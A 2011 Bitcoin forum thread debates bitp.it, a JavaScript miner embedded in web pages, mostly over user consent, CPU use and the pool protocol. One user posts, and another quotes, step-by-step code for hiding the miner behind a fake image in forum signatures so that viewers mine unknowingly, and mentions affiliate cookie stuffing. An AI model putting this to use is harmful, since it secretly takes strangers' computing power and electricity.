bitp.it was designed as a background script that the user gets no knowledge of. Otherwise there would be some form of notification. There isn't. So this is bad, mhkay?

EDIT: I created a pillory thread in this topic (http://forum.bitcoin.org/index.php?topic=11018) and it has already taken effect: bitp.it was removed from Detexify! So I guess even website owners see this is a bad idea.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TheBunk on June 01, 2011, 08:39:43 AM
Instead of a "donate" button you could just have a "donate cpu time" in your website where people could click to willingly start the mining.

Are you proposing we should be against the technology because it can be used in unethical ways?! Seriously? On a BITCOIN forum??!

If only the people who are using this script would ask their users. But this script was intentionally designed to work in the background without people noticing it. And right now, I see no way of effectively blocking it. Banning the bitp.it domain is not enough, because people can easily copy and modify the script and host it on their website. Turning off JS completely renders most of the websites useless.

This shit isn't even a good idea from a technological standpoint, because 1bitc0inplz just figured out a way to waste even more cpu time (doing calculations with JS instead of native code, seriously?)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: sparomba on June 01, 2011, 09:54:27 AM
so all the newbies here have read Fefe's blog and blindly believe everything he writes? did you guys even take a look at the site or the source code at all? i don't think so....
bitp.it was designed as a background script that the user gets no knowledge of.
seriously....did you open the site even once? On bitp.it you see a live response of how many hashes per second your machine is calculating(with about 30% CPU usage)....how is this "background"? of course users can get a feedback and see there is a miner running. But this is up to the webmasters and not up to bitp.it. The script clearly allows user interaction.

Not only do you waste the energy of YOUR users for YOUR benefit without their consent.
ah, you mean like all the other scripts that run in background without user notice and their consent? like google analytics? doubleclick? INFOnline? adsense? clicktrack? facebook tracker?
The CPU usage of the JS Miner is adjustable...it is all up to the webmaster who uses it on his site but the author of the script can't be blamed for any of your points.

IMHO the JS Miner is a very good (tho short term) alternative to annoying ads. the "donate cpu time" is a great idea to support a site. Of course the user should know that there is a miner running (little symbol,live response, something like that) but don't listen to the idiots who read about it on some blog and don't even seem to know what they are talking about. i know this is my first post in this forum, but i'm not new to bitcoins....i'm just annoyed by the "malware" screamers.


@1bitc0inplz:
for now the JSMiner is really great idea for news papers,blogs and forums, but i have to admit that i doubt the long term evolution of the idea :-/
since mining will get harder and harder, at some point it will stop being profitable and start being useless...unless the user base on the website where a miner is running is constantly growing and growing


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Natanji on June 01, 2011, 10:02:49 AM
It's not 30% CPU usage. It wastes one full core because it's currently not using multiple threads. It tries to run as fast as it can, and on single-core machines (yes I'm talking about smartphones here!) this is a pretty common scenario.

I'm also not aware of a way to download the source code. On the bitp.it website there is no button, link etc. to do so. I'm guessing there is a way to download it after you sign up, but nothing anyone could know if there is just a generic "sign up enter email here" field on the site. So it's completely obvious that not everyone reads the code, because it is de facto not open source.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Sukrim on June 01, 2011, 10:06:18 AM
so all the newbies here have read Fefe's blog and blindly believe everything he writes? did you guys even take a look at the site or the source code at all? i don't think so....
bitp.it was designed as a background script that the user gets no knowledge of.
seriously....did you open the site even once? On bitp.it you see a live response of how many hashes per second your machine is calculating(with about 30% CPU usage)....how is this "background"? of course users can get a feedback and see there is a miner running. But this is up to the webmasters and not up to bitp.it. The script clearly allows user interaction.

Not only do you waste the energy of YOUR users for YOUR benefit without their consent.
ah, you mean like all the other scripts that run in background without user notice and their consent? like google analytics? doubleclick? INFOnline? adsense? clicktrack? facebook tracker?
The CPU usage of the JS Miner is adjustable...it is all up to the webmaster who uses it on his site but the author of the script can't be blamed for any of your points.

IMHO the JS Miner is a very good (tho short term) alternative to annoying ads. the "donate cpu time" is a great idea to support a site. Of course the user should know that there is a miner running (little symbol,live response, something like that) but don't listen to the idiots who read about it on some blog and don't even seem to know what they are talking about. i know this is my first post in this forum, but i'm not new to bitcoins....i'm just annoyed by the "malware" screamers.


@1bitc0inplz:
for now the JSMiner is really great idea for news papers,blogs and forums, but i have to admit that i doubt the long term evolution of the idea :-/
since mining will get harder and harder, at some point it will stop being profitable and start being useless...unless the user base on the website where a miner is running is constantly growing and growing
It can be easily implemented that there is NO UI shown to the user in any way. If the reference implementation has an UI - fine! The page linked on fefe had none. In fact, It didn't even MENTION Bitcoin! Unless you were actively looking where that huge drain of ressources is coming from, you would have no idea what's going on on that site.

Also JS mining will nearly always be profitable (at least if you think that people won't notice it and thus not be drawn away from your site) as you don't have any costs at all besides a few Bytes of traffic.

Yes, the profit won't cover website costs eventually, but it will still give you some Satoshis for free.

There's another mining script out there that on one hand does far more Hashes per second and also uses all 4 cores on my CPU. This one here just seems to be poorly done, but I expect the worst!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 01, 2011, 12:44:04 PM
I agree that this is complete bullshit and a very, very bad idea.

Natanji no offense, but you're just full of bullshit yourself.

1st. Have you ever been to http://bitp.it ? Right there, on the homepage, it tells you exactly whats going on. It tells you that it's a bitcoin miner, and how many hashes/sec your generating.

Are you proposing that I create some annoying Javascript alert that pops-up on somebody else's website to alert their users of what they are doing? No. I am of a firm believe that each website is the realm of it's owner. I will not interject my ideas of how UIs should work on someone else. I have said it before, and I will say it again.... the website operators are free to alert their users in any which way they feel like. I have seen several websites that tell the people whats going on, they even encourage people to leave their browsers open on this website to donate CPU time to their cause. What is wrong with that?


It's not 30% CPU usage. It wastes one full core because it's currently not using multiple threads. It tries to run as fast as it can, and on single-core machines (yes I'm talking about smartphones here!) this is a pretty common scenario.

No it doesn't. Have you even read this thread?

Our jsMiner uses HTML 5 web workers. NO smartphone supports web workers. Do you know what that means? That means that it cannot "run as fast as it can". Nope, no sir, not at all sir. It uses the UI thread. In fact, each website operator can force all instances to be as friendly as they want. But, you wouldn't know that either since you haven't read this thread.

I'm also not aware of a way to download the source code. On the bitp.it website there is no button, link etc. to do so. I'm guessing there is a way to download it after you sign up, but nothing anyone could know if there is just a generic "sign up enter email here" field on the site. So it's completely obvious that not everyone reads the code, because it is de facto not open source.

How did you find out about bitp.it? Lots of talk on the Internet about it being open source

But, in case you lost the link: https://github.com/jwhitehorn/jsMiner


What I do not understand Natanji is what your problem is? Every "problem" you have mentioned is simply a reflection of your ignorance. Do you have any real feedback to provide?

As mention, bitp.it has some big things coming out this weekend... perhaps that will change your mind. But, perhaps your mind is already made up.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Natanji on June 01, 2011, 02:21:20 PM
Natanji no offense, but you're just full of bullshit yourself.
Nice - you start off by openly insulting me. Saying that an idea is bullshit is really not on the same level as a personal insult. But okay, I guess that's just how you are, right?

Quote
1st. Have you ever been to http://bitp.it ? Right there, on the homepage, it tells you exactly whats going on. It tells you that it's a bitcoin miner, and how many hashes/sec your generating.
Yes. That's where I found out that although it wastes a full core of my Q6600, its hash rate is very much ridiculous.

Quote
Are you proposing that I create some annoying Javascript alert that pops-up on somebody else's website to alert their users of what they are doing? No. I am of a firm believe that each website is the realm of it's owner. I will not interject my ideas of how UIs should work on someone else. I have said it before, and I will say it again.... the website operators are free to alert their users in any which way they feel like. I have seen several websites that tell the people whats going on, they even encourage people to leave their browsers open on this website to donate CPU time to their cause. What is wrong with that?
Please show me these website, I'd gladly see them.
Also, this is not the issue. With the current state of the Bitcoin community, everything here is full of script kiddies. People will take your code and put it on their website and be done with it. It very much makes a difference if the standard implementation/settings has some sort of UI - and may it be a button that links to bitp.it or tells the users that their CPU is used. No need to make this annoying *at all*. But as an inventor of something cool, you also carry responsability. If you release a 0day with a standard implementation into the wild that harms the users, of course you are helping the cause of creating malware. This is not "shoot the messenger".

If the standard implementation has at least some protection, by displaying a graphic or hashes per second or whatever, then I'd say you are correct. You are not to be held responsible if someone takes your software, *removes* the small amount of user information, and then puts it out there. But this went the other way around.

Quote
It's not 30% CPU usage. It wastes one full core because it's currently not using multiple threads. It tries to run as fast as it can, and on single-core machines (yes I'm talking about smartphones here!) this is a pretty common scenario.
No it doesn't. Have you even read this thread?
I didn't read the full thing because testing it out myself, on the official bitp.it website, was much much faster. There I could directly see what the CPU usage is. So it was pretty clear.

Quote
Our jsMiner uses HTML 5 web workers. NO smartphone supports web workers. Do you know what that means? That means that it cannot "run as fast as it can". Nope, no sir, not at all sir. It uses the UI thread. In fact, each website operator can force all instances to be as friendly as they want. But, you wouldn't know that either since you haven't read this thread.
Correct, and okay, ONE point for you. However: just because current smartphone implementations don't support web workers, this doesn't mean that future generations won't. If this idea is here to stay (and yes, I am in fact afraid so that it will be, otherwise I wouldn't waste my time complaining!), then some people need to think about these obvious consequences like wasted battery life. Plus, laptops are still affected anyways.
So far, I also have to see a website yet that *doesn't* bring one of my CPU cores to 100% when I visit it. And fully uses up both cores when I have two tabs of it open.

Quote
I'm also not aware of a way to download the source code. On the bitp.it website there is no button, link etc. to do so. I'm guessing there is a way to download it after you sign up, but nothing anyone could know if there is just a generic "sign up enter email here" field on the site. So it's completely obvious that not everyone reads the code, because it is de facto not open source.
How did you find out about bitp.it? Lots of talk on the Internet about it being open source

But, in case you lost the link: https://github.com/jwhitehorn/jsMiner
Nope, I did not hear about it because it was open sourced. And that link is nowhere to be seen on the bitp.it website, and also not on the first page of this thread, so you are obviously deliperately making it hard for people to find it.
Maybe I'm wrong an it will appear within 24h on the bitp.it website. Let's find out shall we?

Quote
What I do not understand Natanji is what your problem is? Every "problem" you have mentioned is simply a reflection of your ignorance. Do you have any real feedback to provide?

As mention, bitp.it has some big things coming out this weekend... perhaps that will change your mind. But, perhaps your mind is already made up.
I'm curious on how you want to get yourself out of this, or in what way these "big things" will change my mind on any of the arguments I've given so far.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: cablepair on June 01, 2011, 05:07:06 PM
is there a way I can show the users mining speed on my site like you do at bitp.it ?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: anisoptera on June 01, 2011, 05:57:10 PM
Malware (http://en.wikipedia.org/wiki/Malware), short for malicious software, consists of programming (code, scripts, active content, and other software) designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, gain unauthorized access to system resources, and other abusive behavior.

Congratulations.
Don't inflate my electricity bill only for your gain, you people. Seriously.

I'm not defending this, but it isn't malware. This code:

- is NOT "designed" to disrupt or deny operation in any way. It is designed to mine bitcoins. Mining bitcoins does not disrupt or deny operation. At worst it slows down the site that is actually using the miner.
- does NOT gather information that leads to loss of privacy or exploitation. The information it sends back to the server is the results of calculations performed on data retrieved solely from the server.
- does NOT gain unauthorized access to system resources. You loaded a script into a JS interpreter and told it to run when you loaded my site, implicitly granting access to the JS VM and everything it is reasonably expected to have access to. This doesn't include finding an exploit in the JS interpreter and breaking out of your sandbox, but within the sandbox, you've granted the script permission to do what it wants.

If you go to a site and you have Javascript enabled then you cannot claim that the fact that that site runs JS on your computer is unauthorized access. If you are concerned about power usage then you should have JS disabled (or Noscript turned on) and also probably block flash as well. If JS is disabled in your browser for some reason, then you are not implicitly granting websites permission to run scripts on your machine; if the miner continued to run in THIS case, it would be malware.

The definition of malware is not so broad as to include "using CPU cycles that I expected to be idle".

I'm still going to block the script, but I won't be so disingenuous as to call it "malware", because it isn't. It's just like any other ad. This one just doesn't flash or play annoying sounds or pop up windows on your screen.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: manifold on June 01, 2011, 08:13:00 PM
First Points:
  • Your idea isn't good, it is brilliant.
  • If bitcoins will ever get a major payment, your way WILL replace ads
  • Your idea, may very well get some sites to use it instead of ads, and therfore will make the bitcoin market bigger

Seconds Points:
  • All code has to be open source, if you really want to spread it as wide as possible
  • An optional visible hashing rate would be nice
  • A choice (I want to use 10, 20,.... 90%) of the end users cpu.

Thanks for your idea and implementation!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: cablepair on June 01, 2011, 10:35:21 PM
I am not only a bit miner but I am also a Christian and am involved in a lot of ministry work and I work with non profit organizations all the time who are constantly raising money.

This could be a really awesome tool for people to donate their unused cpu power to fund Christian missions, ministries and such and I believe in it so much that I created the site:

www.computeforchrist.com

I am already supporting a local fund raising effort with it and am trying to get people to use it, one thing I am waiting to see is exactly how much traffic you need to make this viable.
and I am sure that is something everyone else is considering as well... I mean thats the big question right?

How much traffic do we need to make this actually work.

I have been trying to get the word out and having people who want to support the cause support my site with their CPUs
I think it could be huge and I am very exciting to get some new features like to be able to show people the speed and some kind of rough calculation that could show them in semi real time what kind of money they are actually donating that kind of thing.

I know a lot of people (in the bitcoin / tech world) are weary of this as you can see in some of the posts above but don't look at it as some kind of sneaky thing that someone is forcing upon you. Like everything else it can be used for good and bad, sure there are going to be people exploiting this just like they did with those crazy pop up sites that never stop but there are also good uses for it like my site so please keep an open mind, technology is a reflection of the people who use it - the technology and it's creators are not bad because it can possibly be abused.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: phillipsjk on June 02, 2011, 12:22:21 AM
I posted some of my objections in this thread (http://forum.bitcoin.org/index.php?topic=10761.msg155408#msg155408). I have read the last 2 pages of posts and still think it is evil.

I was not aware that it used HTML 5 and workers. On my machine bitp.it idles because my browser does not support the Draft HTML5 standards. That said, my points about non-CPU computing resources  (like memory and available battery power) still stand. Edit: my objection about CPU usage may still stand: what happens if you use 10% of the CPU with a load average of over 1.00? Answer load average increases by 0.1.

There is another problem I did not consider: This script is using a popular mining pool. Over-reliance on a few mining pools weaken the bitcoin network. Web-developers throwing this up on their page are even less likely to implement "solo mining" or even a private mining pool should the need arise. For example, in the event of a pool take-over or shut-down.

Edit: Viewing sites embedding the EMCA script miner at work may constitute a firing offense, just as an IT person should be fired for using company computers to install Bitcoin miners (for personal gain).


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Nythain on June 02, 2011, 12:29:51 AM
Malware (http://en.wikipedia.org/wiki/Malware), short for malicious software, consists of programming (code, scripts, active content, and other software) designed to disrupt or deny operation, gather information that leads to loss of privacy or exploitation, gain unauthorized access to system resources, and other abusive behavior.

Congratulations.
Don't inflate my electricity bill only for your gain, you people. Seriously.

I'm not defending this, but it isn't malware. This code:

- is NOT "designed" to disrupt or deny operation in any way. It is designed to mine bitcoins. Mining bitcoins does not disrupt or deny operation. At worst it slows down the site that is actually using the miner.
- does NOT gather information that leads to loss of privacy or exploitation. The information it sends back to the server is the results of calculations performed on data retrieved solely from the server.
- does NOT gain unauthorized access to system resources. You loaded a script into a JS interpreter and told it to run when you loaded my site, implicitly granting access to the JS VM and everything it is reasonably expected to have access to. This doesn't include finding an exploit in the JS interpreter and breaking out of your sandbox, but within the sandbox, you've granted the script permission to do what it wants.

If you go to a site and you have Javascript enabled then you cannot claim that the fact that that site runs JS on your computer is unauthorized access. If you are concerned about power usage then you should have JS disabled (or Noscript turned on) and also probably block flash as well. If JS is disabled in your browser for some reason, then you are not implicitly granting websites permission to run scripts on your machine; if the miner continued to run in THIS case, it would be malware.

The definition of malware is not so broad as to include "using CPU cycles that I expected to be idle".

I'm still going to block the script, but I won't be so disingenuous as to call it "malware", because it isn't. It's just like any other ad. This one just doesn't flash or play annoying sounds or pop up windows on your screen.
I pretty much agree with everything you said until you got to the closing statement. This script is not like any other ad, since:
A. Without external applications, I am unaware of it running on 90% of the sites I've encountered running it.
B. It is not advertising anything to me. Ads, as annoying as they may be, are at least providing a service to me as the user/visitor of the site by offering me goods and deals I might have been unaware of. There is absolutely not benefit to me from my participation with this miner.

So comparing it to ads is probably not the best analogy... comparing it to analytics would probably be better.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TiagoTiago on June 02, 2011, 01:07:55 AM
...

... Ads, as annoying as they may be, are at least providing a service to me as the user/visitor of the site by offering me goods and deals I might have been unaware of. There is absolutely not benefit to me from my participation with this miner.

...
The service this offers is a site unpolluted by ads that can still pay the bills


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: tonne on June 02, 2011, 01:17:59 AM
I was looking for an alternative payment method for online shops after the wikileaks disaster. Bitcoin isn't there yet. Running jsMiner *without* giving visitors a chance to opt-in is putting people off. It is simply stealing resources. It's kind of a gold rush, right? Try to control your greed. People got so used to ads and all the tracking crap that no one questions those methods any more. Treat your community / potential users with respect and you will have unlimited support. Otherwise the whole idea will end up like e-gold and die off eventually.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: anisoptera on June 02, 2011, 01:28:00 AM
I was looking for an alternative payment method for online shops after the wikileaks disaster. Bitcoin isn't there yet. Running jsMiner *without* giving visitors a chance to opt-in is putting people off. It is simply stealing resources.

Running ads on your website without giving visitors a chance to opt in is stealing resources. It consumes:

- bandwidth to download the ad (frequently in excess of 100k)
- CPU time to display the ad, whether animated GIF, flash, or even static image
- memory to store the ad
- screen space that would have been blank or filled with content otherwise.

All so they can attempt to make money off of me for the website.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: TiagoTiago on June 02, 2011, 01:32:08 AM
People don't usually don't call heavy annoying ads "resource stealers"; the difference between this and "(.)(.) Play Now My Lord" is this won't get in the way of you using the site, and instead of wasting processor cycles it is actually turning them into money.



But obviously, an opt-in/opt-out option would be great, not all advertisement bearing sites offer such an option though. Btw, also offering an option of throttling down i expect would help with getting on  the visitors good side.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: tonne on June 02, 2011, 01:38:15 AM
For ads there's adblock. No problems with contributing to a collective mining effort, I just want to be asked.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 02, 2011, 01:52:48 AM
is there a way I can show the users mining speed on my site like you do at bitp.it ?

Firstly, thank you for your previous post. It was your site (in addition to a couple others) that I pictured when I was thinking about sites that are very open to the user about what is going on. I applaude your use of this script, and I think it is a great example of what we originally had in mind.

As for the hash rate... that is a feature that has been asked for a couple of times. I see no harm in adding it. I will need to expose it to you, so perhaps you can write some Javascript to display that stat. We have a website push coming this weekend, I will try and sneak this feature in  ;)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 02, 2011, 01:55:29 AM
First Points:
  • Your idea isn't good, it is brilliant.
  • If bitcoins will ever get a major payment, your way WILL replace ads
  • Your idea, may very well get some sites to use it instead of ads, and therfore will make the bitcoin market bigger

Seconds Points:
  • All code has to be open source, if it really want to spread it as wide as possible
  • An optional visible hashing rate would be nice
  • A choice (I want to use 10, 20,.... 90%) of the end users cpu.

Thanks for your idea and implementation!

Thank you for your kind words. Your input is worth more than you think. You gave me an idea... some of the things you were saying got me thinking...

I don't want to spill the beans just yet   :D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 02, 2011, 01:59:58 AM
So comparing it to ads is probably not the best analogy... comparing it to analytics would probably be better.

You know, one of our original ideas (not that it got far) was to somehow bundle this into an analytics package...


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Nythain on June 02, 2011, 02:02:55 AM
For ads there's adblock. No problems with contributing to a collective mining effort, I just want to be asked.
For FireFox there's NoScript
For Chrome, there's built in script blocking functionality, and NotScripts for further protection.

While I don't think the cumulative world wide web browsing populace should have to resort to things things, they are effective. They will also help stopping other scripts. With today's internet, they are almost a must have really.
The great solution would be if webmasters would make it known what is going on so users can choose to frequent the site or not. A step even further would be an opt-in or opt-out option.

From reading through this thread, and the couple others that have popped up, I gather *almost* all of us agree that the initial development of this miner is awesome. It's potential is amazing in numerous applications of it. For the most part, we start to disagree on ethical application of this miner by webmasters. Most of us against it really only request at least being informed its being used, so we can choose whether or not to continue visiting the site. In the comparison of ads, they are visible and I know they are there. If I find the amount of ads on the site to be annoying or too resource intensive, I can leave. So far, I have only come across 1 site other than the main project site, that informed users on the home/front page that they were currently generating bitcoins using a web miner.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: manifold on June 02, 2011, 06:17:29 AM
Thank you for your kind words. Your input is worth more than you think. You gave me an idea... some of the things you were saying got me thinking...

I don't want to spill the beans just yet   :D
Well thats, good. Maybe we cold even persuade some websites (it news,...) to remove their ads, and install your or a similar javascript site.  That would give bitcoin a kickstart to enter the normal market.

And yes google, won't like it... the government won't like it either (because they hate change), but it may be worth trying..


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: easypeezy on June 02, 2011, 06:52:00 AM
Figured out a way to implement this anywhere, you can hide it as a 1px jpeg file in any signature, on any forum.


First things first.

1. Create a file in notepad. Use this code.
Code:
<head><script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
 bitpit({clientId: "YOURID", forceUIThread: true});
</script></head>
<body width="0" height="0"></body>

2. Save that as test.html, upload it to your server

3.Upload an image to your server, label it as "WHATEVERYOUWANT.jpeg" make sure the server shows the file being stored as a jpeg file.

4. Edit your .htaccess file. Include this bit of code at the end of it.

Code:
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?YOURDOMAIN\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://YOURDOMAIN.com/test.html [L]

5. Go to any forum and add

Code:
[img]http://YOURDOMAIN.com/YOURPICTURE.jpeg[/img]

This should show absolutely nothing to the user viewing the page, but you get everyone hashing for you that ever views a page with your signature.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: SgtSpike on June 02, 2011, 07:49:45 AM
Figured out a way to implement this anywhere, you can hide it as a 1px jpeg file in any signature, on any forum.


First things first.

1. Create a file in notepad. Use this code.
Code:
<head><script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
 bitpit({clientId: "YOURID", forceUIThread: true});
</script></head>
<body width="0" height="0"></body>

2. Save that as test.html, upload it to your server

3.Upload an image to your server, label it as "WHATEVERYOUWANT.jpeg" make sure the server shows the file being stored as a jpeg file.

4. Edit your .htaccess file. Include this bit of code at the end of it.

Code:
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?YOURDOMAIN\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://YOURDOMAIN.com/test.html [L]

5. Go to any forum and add

Code:
[img]http://YOURDOMAIN.com/YOURPICTURE.jpeg[/img]

This should show absolutely nothing to the user viewing the page, but you get everyone hashing for you that ever views a page with your signature.
Wow.  Just, wow.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: easypeezy on June 02, 2011, 07:54:26 AM
What is the WOW about, exactly?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: SgtSpike on June 02, 2011, 08:06:01 AM
What is the WOW about, exactly?
This could ruin bitcoin's reputation.

If it's truly that easy, imagine how quickly just about EVERY online forum is going to be inundated with this?  Eventually, forum admins will become wise to what is slowing down their user experience, and as soon as the first one gathers the full story on it, they'll be badmouthing bitcoin like mad.

EDIT:  Don't get me wrong, it's awesome that you figured out how to do this, I just think it has very, very bad implications for how it could be used.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: slowmining on June 02, 2011, 08:08:02 AM
I don't tink it will work. The browser will try to read the fake image as an image, it will fail but it will not run js code.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: easypeezy on June 02, 2011, 08:09:40 AM
I've been using redirects like this to stuff cookies for years, trust me, it works.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: mrb on June 02, 2011, 08:51:00 AM
No, this cannot work. If the forum software translates [img]http://YOURDOMAIN.com/YOURPICTURE.jpeg[/img] to a regular image tag <img src="..."/> then no matter what reply YOURDOMAIN.com sends back, the browser will only interpret this as an image.

This technique can be used to steal cookies (what you call "stuff cookies"), but it cannot be used to run arbitrary js code on the client (victim) side.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: easypeezy on June 02, 2011, 08:55:29 AM
Not to steal cookies, stuff cookies, as in they take my referral cookie, and I get credit for their purchases.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: mrb on June 02, 2011, 09:07:05 AM
That "cookie stuffing", I see.

Well it does not change my point. It won't work to execute js code. When you are cookie stuffing, the browser is just interpreting the HTTP headers and will accept the stuffed cookie. It still won't interpret HTML or execute js code referenced by the <img> tag.

If you want to see for yourself, well try it here on SMF.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: Anonymous on June 03, 2011, 03:14:14 AM
If you can hide a bitcoin miner in an image you can hide it in porn  :)


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: sparomba on June 03, 2011, 08:10:12 PM
@1bitc0inplz:
is bitp.it down or what are you doing? :-/

my "clients" don't seem to get any work anymore....even the frontpage bitp.it doesn't seem to calc anything at the moment...
instead of complete tasks like
Quote
{"first_nonce":2682257408,"last_nonce":2683305983,"hash1":"0000000000000000000000000000000000000000000000000000000000000000000000800000000 0000000000000000000000000000000000000000000010000","data":"0000000179ee1fe9c176f2249e2eecf73dca2c3a1463ebaaa66a1b9b000000c7000000002222ebe bcce36e7bcd785df2823c43291a576ab139608b411f153dbea3d909e94de2f3381a269421000000 0000000080000000000000000000000000000000000000000000000000000000000000000000000 0000000000080020000","midstate":"665a6ff5ed9205f335957e1bea5258a732b6c7f97b69b0efd34fa4732827df86","target":"ffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000"}
you are currently delivering incomplete tasks to your slaves
Quote
{"first_nonce":2994733056,"last_nonce":2995781631}

why does maintenance always happen when I'm in the mood of testing something...damn it! ;D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 03, 2011, 08:35:26 PM
Seems a server restart left the getwork() in an invalid state. It's working now.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: sparomba on June 04, 2011, 09:48:27 AM
i've had a closer look into the source of your JS Miner and I think there might be a multithreading problem or i misunderstood something. :-/

scenario: i'm running 3 websites, each of them is linked to the other, on each of them a JSMiner is present, all JSMiners are linked to the same bitp.it account.
What if a user has all 3 sites open at once or opens a single site in multiple windows? Wouldn't the multiple instances of the Miner compete against each other?

After the Miner-Client crunched through a task and didn't find a solution, it will ask for more work by making a GET call to
Quote
http://api.bitp.it/work?client_id=<<ID>>&domain=<<SITE>>&hash_rate=<<rate>>&hash_count=<<count>>
however there is no task-ID or whatsoever that identifies the last task that the client was working on. So i assume you use the client's IP or the "_node" Cookie to lable the last task in the server queue as "nothing found in that snippet"?
this is a problem when it comes to multiple open tabs, because the multiple JSMiner threads would compete with each other and clear each other from the task queue. If you identify the last task by the IP each call from that IP would simply clear the last task on the server, even if it is not the same as the task the client was working on. Same problem for the "_node" Cookie which is delivered/changed with each request, every instance would use the very same Cookie and by doing that mix up the task identification.

A solution would be a task-id variable in the GET request to the server, so you can identify the last task crunched by the client even if the user runs multiple JS Miners(for the same client_id) at the same time.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 04, 2011, 12:53:39 PM
i've had a closer look into the source of your JS Miner and I think there might be a multithreading problem or i misunderstood something. :-/

The way the get work protocol works is that is automatically gives you a new piece of work. There is no need for the server to care what the last thing it gave you was. You simply call getwork and the server will hand your client something different to work on.

The reason this isn't a race condition is because each work item contains many element that differ each time you request work. The timestamp updates every second, the merkle also changes with each request. Our site, currently, is dependent upon slush.... So, our merkle only gets updated every 30 seconds. However, we update our timestamp every second. Couple this with the fact that we tell the miner which nonce range to check, and that the range is completely random, means that the chances of two simultaneous getwork request getting the same work is insignificant.

I hope I made sense of that.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 05, 2011, 05:29:50 AM
I promised that we'd have some big news to announce, and today is the day. Bitp.it is announcing the launch of our own pool! Go here for details - http://forum.bitcoin.org/index.php?topic=12181.0.

By writing and maintaining bitp.it, we learned a lot about how pools work, and found a lot of areas where we felt like we could truly make things better. For this reason we are expanding into a pool. We plan on continuing to support our Javascript miner, but will also allow people to mine with whatever miner they choose. We have some upcoming enhancements to our Javascript miner, but we ultimately felt that it was beneficial to explore new areas and grow our infrastructure.

In other news, we've just completed payouts for round 2 on bitp.it. And we will also be upgrading our hardware soon.

Thanks everybody for your support!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 05, 2011, 02:06:19 PM
Hi Guys,

We're about to have some downtime while I migrate some services to a bigger box. Hopefully this shouldn't take to long. Thanks for bearing with us!


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 05, 2011, 02:23:25 PM
And we're back up! We've migrated some services to better hardware. I think we've abused that 128MB box quite enough for now  ;D


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: FuzzyCoins on June 05, 2011, 08:59:35 PM
How long would someone have to sit on a web page in order to generate enough work that would result in any credit at all for the hosting web site?

For traditional mining pools the unit of work credit is a "share" which takes a GPU miner minutes to hours to generate. A JS miner hours to days to generate a traditional "share". Most people don't sit on a single web page for hours, they are typically only on a web page for seconds to minutes. Are the units of work assigned and credited smaller then a typical pool "share"? Does this system have the concept of a fractional shares of work?


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: lowentropy on June 05, 2011, 09:31:25 PM
Our web miners still work with traditional shares (shares from slush's pool, actually). But all the work by all visitors to your site(s) goes towards a single account for the site operator. So the collection of sites is effectively the miner, only it makes lots and lots more getwork requests :)

Since javascript is quite slow, it's been suggested we might do fractional shares, and we're looking into this.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: FuzzyCoins on June 05, 2011, 11:26:46 PM
So are the following true?

  • In order for the site owner to get any credit for work (not necessarily coins, but just acknowledgement of work), a given page viewer must remain on a page long enough for one "getwork" request to be complete.
  • In order for the site owner to get any coins (or fractional coins), the total sum of all site visitors must spend enough time on site pages to complete enough "getwork" requests to complete a "share" of work.
  • Completion of a share of work must be done within a "round" or an attempt by the pool to solve a block.

What I am trying to get at is an idea of is how much traffic a website would need in order to get any actual BitCoin credit. If the above are true, then small or low volume web sites would not have chance of earning any coins unless some sort of fractional share model is introduced.


Title: Re: Embedable Javascript Bitcoin miner for your website
Post by: 1bitc0inplz on June 05, 2011, 11:42:22 PM
So are the following true?

